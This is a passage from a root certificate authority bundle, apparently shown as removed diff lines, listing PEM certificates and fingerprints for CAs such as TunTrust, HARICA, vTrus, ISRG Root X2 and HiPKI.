-P78v3DSk+yshzWePS/Tj6tQ/50+6uaWTRRxmHyH6ZF5v4HaUMst19W7l9o/HuKTM -qJZ9ZPskWkoDbGs4xugDQ5r3V7mzKWmTOPQD8rv7gmsHINFSH5pkAnuYZttcTVoP -0ISVoDwUQwbKytu4QTbaakRnh6+v40URFWkIsr4WOZckbxJF0WddCajJFdr60qZf -E2Efv4WstK2tBZQIgx51F9NxO5NQI1mg7TyRVJ12AMXDuDjb ------END CERTIFICATE----- - -# Issuer: CN=TunTrust Root CA O=Agence Nationale de Certification Electronique -# Subject: CN=TunTrust Root CA O=Agence Nationale de Certification Electronique -# Label: "TunTrust Root CA" -# Serial: 108534058042236574382096126452369648152337120275 -# MD5 Fingerprint: 85:13:b9:90:5b:36:5c:b6:5e:b8:5a:f8:e0:31:57:b4 -# SHA1 Fingerprint: cf:e9:70:84:0f:e0:73:0f:9d:f6:0c:7f:2c:4b:ee:20:46:34:9c:bb -# SHA256 Fingerprint: 2e:44:10:2a:b5:8c:b8:54:19:45:1c:8e:19:d9:ac:f3:66:2c:af:bc:61:4b:6a:53:96:0a:30:f7:d0:e2:eb:41 ------BEGIN CERTIFICATE----- -MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQEL -BQAwYTELMAkGA1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUg -Q2VydGlmaWNhdGlvbiBFbGVjdHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJv -b3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQwNDI2MDg1NzU2WjBhMQswCQYDVQQG -EwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBDZXJ0aWZpY2F0aW9u -IEVsZWN0cm9uaXF1ZTEZMBcGA1UEAwwQVHVuVHJ1c3QgUm9vdCBDQTCCAiIwDQYJ -KoZIhvcNAQEBBQADggIPADCCAgoCggIBAMPN0/y9BFPdDCA61YguBUtB9YOCfvdZ -n56eY+hz2vYGqU8ftPkLHzmMmiDQfgbU7DTZhrx1W4eI8NLZ1KMKsmwb60ksPqxd -2JQDoOw05TDENX37Jk0bbjBU2PWARZw5rZzJJQRNmpA+TkBuimvNKWfGzC3gdOgF -VwpIUPp6Q9p+7FuaDmJ2/uqdHYVy7BG7NegfJ7/Boce7SBbdVtfMTqDhuazb1YMZ -GoXRlJfXyqNlC/M4+QKu3fZnz8k/9YosRxqZbwUN/dAdgjH8KcwAWJeRTIAAHDOF -li/LQcKLEITDCSSJH7UP2dl3RxiSlGBcx5kDPP73lad9UKGAwqmDrViWVSHbhlnU -r8a83YFuB9tgYv7sEG7aaAH0gxupPqJbI9dkxt/con3YS7qC0lH4Zr8GRuR5KiY2 -eY8fTpkdso8MDhz/yV3A/ZAQprE38806JG60hZC/gLkMjNWb1sjxVj8agIl6qeIb -MlEsPvLfe/ZdeikZjuXIvTZxi11Mwh0/rViizz1wTaZQmCXcI/m4WEEIcb9PuISg -jwBUFfyRbVinljvrS5YnzWuioYasDXxU5mZMZl+QviGaAkYt5IPCgLnPSz7ofzwB -7I9ezX/SKEIBlYrilz0QIX32nRzFNKHsLA4KUiwSVXAkPcvCFDVDXSdOvsC9qnyW -5/yeYa1E0wCXAgMBAAGjYzBhMB0GA1UdDgQWBBQGmpsfU33x9aTI04Y+oXNZtPdE -ITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFAaamx9TffH1pMjThj6hc1m0 -90QhMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAqgVutt0Vyb+z -xiD2BkewhpMl0425yAA/l/VSJ4hxyXT968pk21vvHl26v9Hr7lxpuhbI87mP0zYu -QEkHDVneixCwSQXi/5E/S7fdAo74gShczNxtr18UnH1YeA32gAm56Q6XKRm4t+v4 -FstVEuTGfbvE7Pi1HE4+Z7/FXxttbUcoqgRYYdZ2vyJ/0Adqp2RT8JeNnYA/u8EH -22Wv5psymsNUk8QcCMNE+3tjEUPRahphanltkE8pjkcFwRJpadbGNjHh/PqAulxP -xOu3Mqz4dWEX1xAZufHSCe96Qp1bWgvUxpVOKs7/B9dPfhgGiPEZtdmYu65xxBzn -dFlY7wyJz4sfdZMaBBSSSFCp61cpABbjNhzI+L/wM9VBD8TMPN3pM0MBkRArHtG5 -Xc0yGYuPjCB31yLEQtyEFpslbei0VXF/sHyz03FJuc9SpAQ/3D2gu68zngowYI7b -nV2UqL1g52KAdoGDDIzMMEZJ4gzSqK/rYXHv5yJiqfdcZGyfFoxnNidF9Ql7v/YQ -CvGwjVRDjAS6oz/v4jXH+XTgbzRB0L9zZVcg+ZtnemZoJE6AZb0QmQZZ8mWvuMZH -u/2QeItBcy6vVR/cO5JyboTT0GFMDcx2V+IthSIVNg3rAZ3r2OvEhJn7wAzMMujj -d9qDRIueVSjAi1jTkD5OGwDxFa2DK5o= ------END CERTIFICATE----- - -# Issuer: CN=HARICA TLS RSA Root CA 2021 O=Hellenic Academic and Research Institutions CA -# Subject: CN=HARICA TLS RSA Root CA 2021 O=Hellenic Academic and Research Institutions CA -# Label: "HARICA TLS RSA Root CA 2021" -# Serial: 76817823531813593706434026085292783742 -# MD5 Fingerprint: 65:47:9b:58:86:dd:2c:f0:fc:a2:84:1f:1e:96:c4:91 -# SHA1 Fingerprint: 02:2d:05:82:fa:88:ce:14:0c:06:79:de:7f:14:10:e9:45:d7:a5:6d -# SHA256 Fingerprint: d9:5d:0e:8e:da:79:52:5b:f9:be:b1:1b:14:d2:10:0d:32:94:98:5f:0c:62:d9:fa:bd:9c:d9:99:ec:cb:7b:1d ------BEGIN CERTIFICATE----- -MIIFpDCCA4ygAwIBAgIQOcqTHO9D88aOk8f0ZIk4fjANBgkqhkiG9w0BAQsFADBs -MQswCQYDVQQGEwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl -c2VhcmNoIEluc3RpdHV0aW9ucyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBSU0Eg -Um9vdCBDQSAyMDIxMB4XDTIxMDIxOTEwNTUzOFoXDTQ1MDIxMzEwNTUzN1owbDEL -MAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl -YXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgUlNBIFJv -b3QgQ0EgMjAyMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIvC569l -mwVnlskNJLnQDmT8zuIkGCyEf3dRywQRNrhe7Wlxp57kJQmXZ8FHws+RFjZiPTgE -4VGC/6zStGndLuwRo0Xua2s7TL+MjaQenRG56Tj5eg4MmOIjHdFOY9TnuEFE+2uv -a9of08WRiFukiZLRgeaMOVig1mlDqa2YUlhu2wr7a89o+uOkXjpFc5gH6l8Cct4M -pbOfrqkdtx2z/IpZ525yZa31MJQjB/OCFks1mJxTuy/K5FrZx40d/JiZ+yykgmvw -Kh+OC19xXFyuQnspiYHLA6OZyoieC0AJQTPb5lh6/a6ZcMBaD9YThnEvdmn8kN3b -LW7R8pv1GmuebxWMevBLKKAiOIAkbDakO/IwkfN4E8/BPzWr8R0RI7VDIp4BkrcY -AuUR0YLbFQDMYTfBKnya4dC6s1BG7oKsnTH4+yPiAwBIcKMJJnkVU2DzOFytOOqB -AGMUuTNe3QvboEUHGjMJ+E20pwKmafTCWQWIZYVWrkvL4N48fS0ayOn7H6NhStYq -E613TBoYm5EPWNgGVMWX+Ko/IIqmhaZ39qb8HOLubpQzKoNQhArlT4b4UEV4AIHr -W2jjJo3Me1xR9BQsQL4aYB16cmEdH2MtiKrOokWQCPxrvrNQKlr9qEgYRtaQQJKQ -CoReaDH46+0N0x3GfZkYVVYnZS6NRcUk7M7jAgMBAAGjQjBAMA8GA1UdEwEB/wQF -MAMBAf8wHQYDVR0OBBYEFApII6ZgpJIKM+qTW8VX6iVNvRLuMA4GA1UdDwEB/wQE -AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAPpBIqm5iFSVmewzVjIuJndftTgfvnNAU -X15QvWiWkKQUEapobQk1OUAJ2vQJLDSle1mESSmXdMgHHkdt8s4cUCbjnj1AUz/3 -f5Z2EMVGpdAgS1D0NTsY9FVqQRtHBmg8uwkIYtlfVUKqrFOFrJVWNlar5AWMxaja -H6NpvVMPxP/cyuN+8kyIhkdGGvMA9YCRotxDQpSbIPDRzbLrLFPCU3hKTwSUQZqP -JzLB5UkZv/HywouoCjkxKLR9YjYsTewfM7Z+d21+UPCfDtcRj88YxeMn/ibvBZ3P -zzfF0HvaO7AWhAw6k9a+F9sPPg4ZeAnHqQJyIkv3N3a6dcSFA1pj1bF1BcK5vZSt -jBWZp5N99sXzqnTPBIWUmAD04vnKJGW/4GKvyMX6ssmeVkjaef2WdhW+o45WxLM0 -/L5H9MG0qPzVMIho7suuyWPEdr6sOBjhXlzPrjoiUevRi7PzKzMHVIf6tLITe7pT -BGIBnfHAT+7hOtSLIBD6Alfm78ELt5BGnBkpjNxvoEppaZS3JGWg/6w/zgH7IS79 -aPib8qXPMThcFarmlwDB31qlpzmq6YR/PFGoOtmUW4y/Twhx5duoXNTSpv4Ao8YW -xw/ogM4cKGR0GQjTQuPOAF1/sdwTsOEFy9EgqoZ0njnnkf3/W9b3raYvAwtt41dU -63ZTGI0RmLo= ------END CERTIFICATE----- - -# Issuer: CN=HARICA TLS ECC Root CA 2021 O=Hellenic Academic and Research Institutions CA -# Subject: CN=HARICA TLS ECC Root CA 2021 O=Hellenic Academic and Research Institutions CA -# Label: "HARICA TLS ECC Root CA 2021" -# Serial: 137515985548005187474074462014555733966 -# MD5 Fingerprint: ae:f7:4c:e5:66:35:d1:b7:9b:8c:22:93:74:d3:4b:b0 -# SHA1 Fingerprint: bc:b0:c1:9d:e9:98:92:70:19:38:57:e9:8d:a7:b4:5d:6e:ee:01:48 -# SHA256 Fingerprint: 3f:99:cc:47:4a:cf:ce:4d:fe:d5:87:94:66:5e:47:8d:15:47:73:9f:2e:78:0f:1b:b4:ca:9b:13:30:97:d4:01 ------BEGIN CERTIFICATE----- -MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQsw -CQYDVQQGEwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2Vh -cmNoIEluc3RpdHV0aW9ucyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9v -dCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoXDTQ1MDIxMzExMDEwOVowbDELMAkG -A1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj -aCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJvb3Qg -Q0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7 -KKrxcm1lAEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9Y -STHMmE5gEYd103KUkE+bECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUw -AwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQD -AgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAircJRQO9gcS3ujwLEXQNw -SaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/QwCZ61IygN -nxS2PFOiTAZpffpskcYqSUXm7LcT4Tps ------END CERTIFICATE----- - -# Issuer: CN=Autoridad de Certificacion Firmaprofesional CIF A62634068 -# Subject: CN=Autoridad de Certificacion Firmaprofesional CIF A62634068 -# Label: "Autoridad de Certificacion Firmaprofesional CIF A62634068" -# Serial: 1977337328857672817 -# MD5 Fingerprint: 4e:6e:9b:54:4c:ca:b7:fa:48:e4:90:b1:15:4b:1c:a3 -# SHA1 Fingerprint: 0b:be:c2:27:22:49:cb:39:aa:db:35:5c:53:e3:8c:ae:78:ff:b6:fe -# SHA256 Fingerprint: 57:de:05:83:ef:d2:b2:6e:03:61:da:99:da:9d:f4:64:8d:ef:7e:e8:44:1c:3b:72:8a:fa:9b:cd:e0:f9:b2:6a ------BEGIN CERTIFICATE----- -MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UE -BhMCRVMxQjBABgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1h -cHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1 -MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIwQAYDVQQDDDlBdXRvcmlkYWQgZGUg -Q2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBBNjI2MzQwNjgwggIi -MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDDUtd9 -thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQM -cas9UX4PB99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefG -L9ItWY16Ck6WaVICqjaY7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15i -NA9wBj4gGFrO93IbJWyTdBSTo3OxDqqHECNZXyAFGUftaI6SEspd/NYrspI8IM/h -X68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyIplD9amML9ZMWGxmPsu2b -m8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctXMbScyJCy -Z/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirja -EbsXLZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/T -KI8xWVvTyQKmtFLKbpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF -6NkBiDkal4ZkQdU7hwxu+g/GvUgUvzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVh -OSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1UdDgQWBBRlzeurNR4APn7VdMAc -tHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4wgZswgZgGBFUd -IAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j -b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABC -AG8AbgBhAG4AbwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAw -ADEANzAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9m -iWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL4QjbEwj4KKE1soCzC1HA01aajTNF -Sa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDbLIpgD7dvlAceHabJ -hfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1ilI45P -Vf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZE -EAEeiGaPcjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV -1aUsIC+nmCjuRfzxuIgALI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2t -CsvMo2ebKHTEm9caPARYpoKdrcd7b/+Alun4jWq9GJAd/0kakFI3ky88Al2CdgtR -5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH9IBk9W6VULgRfhVwOEqw -f9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpfNIbnYrX9 -ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNK -GbqEZycPvEJdvSRUDewdcAZfpLz6IHxV ------END CERTIFICATE----- - -# Issuer: CN=vTrus ECC Root CA O=iTrusChina Co.,Ltd. -# Subject: CN=vTrus ECC Root CA O=iTrusChina Co.,Ltd. -# Label: "vTrus ECC Root CA" -# Serial: 630369271402956006249506845124680065938238527194 -# MD5 Fingerprint: de:4b:c1:f5:52:8c:9b:43:e1:3e:8f:55:54:17:8d:85 -# SHA1 Fingerprint: f6:9c:db:b0:fc:f6:02:13:b6:52:32:a6:a3:91:3f:16:70:da:c3:e1 -# SHA256 Fingerprint: 30:fb:ba:2c:32:23:8e:2a:98:54:7a:f9:79:31:e5:50:42:8b:9b:3f:1c:8e:eb:66:33:dc:fa:86:c5:b2:7d:d3 ------BEGIN CERTIFICATE----- -MIICDzCCAZWgAwIBAgIUbmq8WapTvpg5Z6LSa6Q75m0c1towCgYIKoZIzj0EAwMw -RzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAY -BgNVBAMTEXZUcnVzIEVDQyBSb290IENBMB4XDTE4MDczMTA3MjY0NFoXDTQzMDcz -MTA3MjY0NFowRzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28u -LEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBSb290IENBMHYwEAYHKoZIzj0CAQYF -K4EEACIDYgAEZVBKrox5lkqqHAjDo6LN/llWQXf9JpRCux3NCNtzslt188+cToL0 -v/hhJoVs1oVbcnDS/dtitN9Ti72xRFhiQgnH+n9bEOf+QP3A2MMrMudwpremIFUd -e4BdS49nTPEQo0IwQDAdBgNVHQ4EFgQUmDnNvtiyjPeyq+GtJK97fKHbH88wDwYD -VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwCgYIKoZIzj0EAwMDaAAwZQIw -V53dVvHH4+m4SVBrm2nDb+zDfSXkV5UTQJtS0zvzQBm8JsctBp61ezaf9SXUY2sA -AjEA6dPGnlaaKsyh2j/IZivTWJwghfqrkYpwcBE4YGQLYgmRWAD5Tfs0aNoJrSEG -GJTO ------END CERTIFICATE----- - -# Issuer: CN=vTrus Root CA O=iTrusChina Co.,Ltd. -# Subject: CN=vTrus Root CA O=iTrusChina Co.,Ltd. -# Label: "vTrus Root CA" -# Serial: 387574501246983434957692974888460947164905180485 -# MD5 Fingerprint: b8:c9:37:df:fa:6b:31:84:64:c5:ea:11:6a:1b:75:fc -# SHA1 Fingerprint: 84:1a:69:fb:f5:cd:1a:25:34:13:3d:e3:f8:fc:b8:99:d0:c9:14:b7 -# SHA256 Fingerprint: 8a:71:de:65:59:33:6f:42:6c:26:e5:38:80:d0:0d:88:a1:8d:a4:c6:a9:1f:0d:cb:61:94:e2:06:c5:c9:63:87 ------BEGIN CERTIFICATE----- -MIIFVjCCAz6gAwIBAgIUQ+NxE9izWRRdt86M/TX9b7wFjUUwDQYJKoZIhvcNAQEL -BQAwQzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4x -FjAUBgNVBAMTDXZUcnVzIFJvb3QgQ0EwHhcNMTgwNzMxMDcyNDA1WhcNNDMwNzMx -MDcyNDA1WjBDMQswCQYDVQQGEwJDTjEcMBoGA1UEChMTaVRydXNDaGluYSBDby4s -THRkLjEWMBQGA1UEAxMNdlRydXMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQAD -ggIPADCCAgoCggIBAL1VfGHTuB0EYgWgrmy3cLRB6ksDXhA/kFocizuwZotsSKYc -IrrVQJLuM7IjWcmOvFjai57QGfIvWcaMY1q6n6MLsLOaXLoRuBLpDLvPbmyAhykU -AyyNJJrIZIO1aqwTLDPxn9wsYTwaP3BVm60AUn/PBLn+NvqcwBauYv6WTEN+VRS+ -GrPSbcKvdmaVayqwlHeFXgQPYh1jdfdr58tbmnDsPmcF8P4HCIDPKNsFxhQnL4Z9 -8Cfe/+Z+M0jnCx5Y0ScrUw5XSmXX+6KAYPxMvDVTAWqXcoKv8R1w6Jz1717CbMdH -flqUhSZNO7rrTOiwCcJlwp2dCZtOtZcFrPUGoPc2BX70kLJrxLT5ZOrpGgrIDajt -J8nU57O5q4IikCc9Kuh8kO+8T/3iCiSn3mUkpF3qwHYw03dQ+A0Em5Q2AXPKBlim -0zvc+gRGE1WKyURHuFE5Gi7oNOJ5y1lKCn+8pu8fA2dqWSslYpPZUxlmPCdiKYZN -pGvu/9ROutW04o5IWgAZCfEF2c6Rsffr6TlP9m8EQ5pV9T4FFL2/s1m02I4zhKOQ -UqqzApVg+QxMaPnu1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHW -OXSuTEGC2/KmSNGzm/MzqvOmwMVO9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMB -AAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYgscasGrz2iTAPBgNVHRMBAf8E -BTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAKbqSSaet -8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd -nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1j -bhd47F18iMjrjld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvM -Kar5CKXiNxTKsbhm7xqC5PD48acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIiv -TDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJnxDHO2zTlJQNgJXtxmOTAGytfdELS -S8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554WgicEFOwE30z9J4nfr -I8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4sEb9 -b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNB -UvupLnKWnyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1P -Ti07NEPhmg4NpGaXutIcSkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929ven -sBxXVsFy6K2ir40zSbofitzmdHxghm+Hl3s= ------END CERTIFICATE----- - -# Issuer: CN=ISRG Root X2 O=Internet Security Research Group -# Subject: CN=ISRG Root X2 O=Internet Security Research Group -# Label: "ISRG Root X2" -# Serial: 87493402998870891108772069816698636114 -# MD5 Fingerprint: d3:9e:c4:1e:23:3c:a6:df:cf:a3:7e:6d:e0:14:e6:e5 -# SHA1 Fingerprint: bd:b1:b9:3c:d5:97:8d:45:c6:26:14:55:f8:db:95:c7:5a:d1:53:af -# SHA256 Fingerprint: 69:72:9b:8e:15:a8:6e:fc:17:7a:57:af:b7:17:1d:fc:64:ad:d2:8c:2f:ca:8c:f1:50:7e:34:45:3c:cb:14:70 ------BEGIN CERTIFICATE----- -MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQsw -CQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2gg -R3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00 -MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVTMSkwJwYDVQQKEyBJbnRlcm5ldCBT -ZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNSRyBSb290IFgyMHYw -EAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0HttwW -+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9 -ItgKbppbd9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T -AQH/BAUwAwEB/zAdBgNVHQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZI -zj0EAwMDaAAwZQIwe3lORlCEwkSHRhtFcP9Ymd70/aTSVaYgLXTWNLxBo1BfASdW -tL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5U6VR5CmD1/iQMVtCnwr1 -/q4AaOeMSQ+2b1tbFfLn ------END CERTIFICATE----- - -# Issuer: CN=HiPKI Root CA - G1 O=Chunghwa Telecom Co., Ltd. -# Subject: CN=HiPKI Root CA - G1 O=Chunghwa Telecom Co., Ltd. -# Label: "HiPKI Root CA - G1" -# Serial: 60966262342023497858655262305426234976 -# MD5 Fingerprint: 69:45:df:16:65:4b:e8:68:9a:8f:76:5f:ff:80:9e:d3 -# SHA1 Fingerprint: 6a:92:e4:a8:ee:1b:ec:96:45:37:e3:29:57:49:cd:96:e3:e5:d2:60 -# SHA256 Fingerprint: f0:15:ce:3c:c2:39:bf:ef:06:4b:e9:f1:d2:c4:17:e1:a0:26:4a:0a:94:be:1f:0c:8d:12:18:64:eb:69:49:cc ------BEGIN CERTIFICATE----- -MIIFajCCA1KgAwIBAgIQLd2szmKXlKFD6LDNdmpeYDANBgkqhkiG9w0BAQsFADBP -MQswCQYDVQQGEwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0 -ZC4xGzAZBgNVBAMMEkhpUEtJIFJvb3QgQ0EgLSBHMTAeFw0xOTAyMjIwOTQ2MDRa -Fw0zNzEyMzExNTU5NTlaME8xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3 -YSBUZWxlY29tIENvLiwgTHRkLjEbMBkGA1UEAwwSSGlQS0kgUm9vdCBDQSAtIEcx -MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA9B5/UnMyDHPkvRN0o9Qw -qNCuS9i233VHZvR85zkEHmpwINJaR3JnVfSl6J3VHiGh8Ge6zCFovkRTv4354twv -Vcg3Px+kwJyz5HdcoEb+d/oaoDjq7Zpy3iu9lFc6uux55199QmQ5eiY29yTw1S+6 -lZgRZq2XNdZ1AYDgr/SEYYwNHl98h5ZeQa/rh+r4XfEuiAU+TCK72h8q3VJGZDnz -Qs7ZngyzsHeXZJzA9KMuH5UHsBffMNsAGJZMoYFL3QRtU6M9/Aes1MU3guvklQgZ -KILSQjqj2FPseYlgSGDIcpJQ3AOPgz+yQlda22rpEZfdhSi8MEyr48KxRURHH+CK -FgeW0iEPU8DtqX7UTuybCeyvQqww1r/REEXgphaypcXTT3OUM3ECoWqj1jOXTyFj -HluP2cFeRXF3D4FdXyGarYPM+l7WjSNfGz1BryB1ZlpK9p/7qxj3ccC2HTHsOyDr -y+K49a6SsvfhhEvyovKTmiKe0xRvNlS9H15ZFblzqMF8b3ti6RZsR1pl8w4Rm0bZ -/W3c1pzAtH2lsN0/Vm+h+fbkEkj9Bn8SV7apI09bA8PgcSojt/ewsTu8mL3WmKgM -a/aOEmem8rJY5AIJEzypuxC00jBF8ez3ABHfZfjcK0NVvxaXxA/VLGGEqnKG/uY6 -fsI/fe78LxQ+5oXdUG+3Se0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNV -HQ4EFgQU8ncX+l6o/vY9cdVouslGDDjYr7AwDgYDVR0PAQH/BAQDAgGGMA0GCSqG -SIb3DQEBCwUAA4ICAQBQUfB13HAE4/+qddRxosuej6ip0691x1TPOhwEmSKsxBHi -7zNKpiMdDg1H2DfHb680f0+BazVP6XKlMeJ45/dOlBhbQH3PayFUhuaVevvGyuqc -SE5XCV0vrPSltJczWNWseanMX/mF+lLFjfiRFOs6DRfQUsJ748JzjkZ4Bjgs6Fza -ZsT0pPBWGTMpWmWSBUdGSquEwx4noR8RkpkndZMPvDY7l1ePJlsMu5wP1G4wB9Tc -XzZoZjmDlicmisjEOf6aIW/Vcobpf2Lll07QJNBAsNB1CI69aO4I1258EHBGG3zg -iLKecoaZAeO/n0kZtCW+VmWuF2PlHt/o/0elv+EmBYTksMCv5wiZqAxeJoBF1Pho -L5aPruJKHJwWDBNvOIf2u8g0X5IDUXlwpt/L9ZlNec1OvFefQ05rLisY+GpzjLrF -Ne85akEez3GoorKGB1s6yeHvP2UEgEcyRHCVTjFnanRbEEV16rCf0OY1/k6fi8wr -kkVbbiVghUbN0aqwdmaTd5a+g744tiROJgvM7XpWGuDpWsZkrUx6AEhEL7lAuxM+ -vhV4nYWBSipX3tUZQ9rbyltHhoMLP7YNdnhzeSJesYAfz77RP1YQmCuVh6EfnWQU -YDksswBVLuT1sw5XxJFBAJw/6KXf6vb/yPCtbVKoF6ubYfwSUTXkJf2vqmqGOQ== ------END CERTIFICATE----- - -# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R4 -# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R4 -# Label: "GlobalSign ECC Root CA - R4" -# Serial: 159662223612894884239637590694 -# MD5 Fingerprint: 